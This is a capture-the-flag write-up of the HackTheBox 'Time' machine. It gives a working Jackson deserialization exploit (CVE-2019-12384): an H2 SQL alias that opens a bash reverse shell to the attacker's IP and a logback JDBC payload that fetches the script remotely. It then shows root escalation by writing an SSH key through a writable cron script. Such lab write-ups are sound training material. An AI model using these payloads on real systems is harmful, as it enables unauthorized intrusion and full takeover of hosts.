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Hackthebox Time writeup

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[email protected]:~$

ColumnDetails
NameTime
IP10.10.10.214
Points30
OsLinux
DifficultyMedium
CreatoregotisticalSW & felamos
Out On24 OCT 2020

[email protected]:~$

There are two features on webiste ONLINE JSON BEAUTIFIER & VALIDATOR the validator feature is vulnerable to a CVE and after searching about it bit more got initial shell as user , Privlege escaltion was bit easy there is a timer_backup script that is in cronjobs and running as root, and we have write permissions to it , writing our rev shell to it and got root

Summary:~$

  • Testing the validate feature
  • got some errors related to com.fasterxml.jackson
  • Got a poc and related cve for the faster.jackson
  • Performing RCE
  • Got shell as user
  • Got user.txt
  • Monitoring running process
  • Got a script timer_backup.sh , we have write permission to it
  • It’s running as root
  • Writing our ssh public keys to authorized_keys
  • Got root.txt

PWNED

Recon

Nmap

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root at 0xPrashant in /home/prashant/hackthebox/machines/time 
$ nmap -sC -sV -p- -T4 -oA scans/nmap.full -v time.htb
# Nmap 7.80 scan initiated Sat Nov 14 07:35:06 2020 as: nmap -sC -sV -p- -T4 -oA scans/nmap.full -v time.htb
Increasing send delay for 10.10.10.214 from 0 to 5 due to 1034 out of 2584 dropped probes since last increase.
Warning: 10.10.10.214 giving up on port because retransmission cap hit (6).
Nmap scan report for time.htb (10.10.10.214)
Host is up (0.34s latency).
Not shown: 65524 closed ports
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http        Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 14 07:59:28 2020 -- 1 IP address (1 host up) scanned in 1462.54 seconds

Only two ports are opened 80:http and 22:ssh

Port 80

There is a nice website with json BEAUTIFIER and validator

beautifier

Try to pass some easy things in there

Working good

validator

Tried to pass same thing in here also but it gave me some kind of error

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Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

I googled about the error and the related things to it

i searched about the related exploit and cves for thr fasterxml.jackson , and after almost strugling for 1 hour i got a poc and related CVE

https://github.com/jas502n/CVE-2019-12384

RCE

okay , so what i need to do is start a webserver that will host my shell.sql file and the shell.sql file will be having

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CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.17/1234 0>&1')

This will simply give me a reverse shell .

and then jruby payload

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["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.17:8080/shell.sql'"}]

And then paste this in the validator

python server

I started the python web server

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root at 0xPrashant in /home/prashant/hackthebox/machines/time 
$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

And paste the payload there

and i got the shell as pericles

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root at 0xPrashant in /home/prashant 
$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.214] 50646
bash: cannot set terminal process group (917): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
pericles
bash-5.0$

Got user.txt

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bash-5.0$ cat user.txt
cat user.txt
ddccfdbab8765456bbc5444bc4434bd5

Privilege escalation

I ran pspy to monitor the running processes and got an interesting file

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2020/11/17 16:31:31 CMD: UID=0    PID=93275  | /bin/bash /usr/bin/timer_backup.sh

Its running as uid=0

timer_backup.sh

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bash-5.0$ ls -la /usr/bin/timer_backup.sh
ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Nov 17 16:30 /usr/bin/timer_backup.sh

The file has both read and write permissions to the user

and its running as root as well i can write my commnads in this script and i can execute them as root

Since the ssh port is opened i will write my id_rsa.pub to the authorized_keys

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bash-5.0$ echo "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD1vq3mBwBqP/8pB/iAdFQtgiDb0U/sR2wBXR8gJ4e1CPFHRkaya/yBbWadSU7sUP2jCzE8JMtkSndfVShuN+0irM9et3nvm6UGBKWqGVzs7M0r2a4IabdLHL/ojgrpqWorkydOnC2B6SdU2hzhBe9hSDBlA8xpbNADBo6BlJxHVmcsncEXDpQ/BKCXm5oLhJGPwDA+MxlCtMJ7ripD/vR/EJwSUcu4Zb9/YG7Ox0ExwS676prpOSlB3VddcDCUIt7SB3FzbkCqIqXqre1juFqVseoztUQ9AWuMj1oVBjMYV0yVIpIlzsMy97yTFGUxFsV1heyEDHsT4nunvlEVEHAl89IkRSGQZFPIkOi/gv5LHs2EggQaIevdw7l3bJN/60jj0f5vV0FB5avpg42f1rrx2IIuxtuHsR452P20xmgr1IXugM4cKxBnfNKsZ7E3XF50jui2NdYTCEMdSAOAugu43cHkcvzldPsxIwQmRfPJB6HD3yQhGEhoudTBHLf1A8k= [email protected]' >> /root/.ssh/authorized_keys" >> timer_backup.sh

and now i will try to login as root

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root at 0xPrashant in /home/prashant/hackthebox/machines/time 
$ ssh -i ~/.ssh/id_rsa [email protected]
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 17 Nov 2020 04:40:07 PM UTC

  System load:             0.85
  Usage of /:              22.3% of 29.40GB
  Memory usage:            12%
  Swap usage:              0%
  Processes:               263
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.214
  IPv6 address for ens160: dead:beef::250:56ff:feb9:dceb


83 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Oct 22 17:03:52 2020
[email protected]:~#

Okay so got shell as root EZPZ

Got root.txt

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[email protected]:~# cat root.txt
859e3f160be944d1a50bf3aaa282a5d4
[email protected]:~# 

And we pwned it …….

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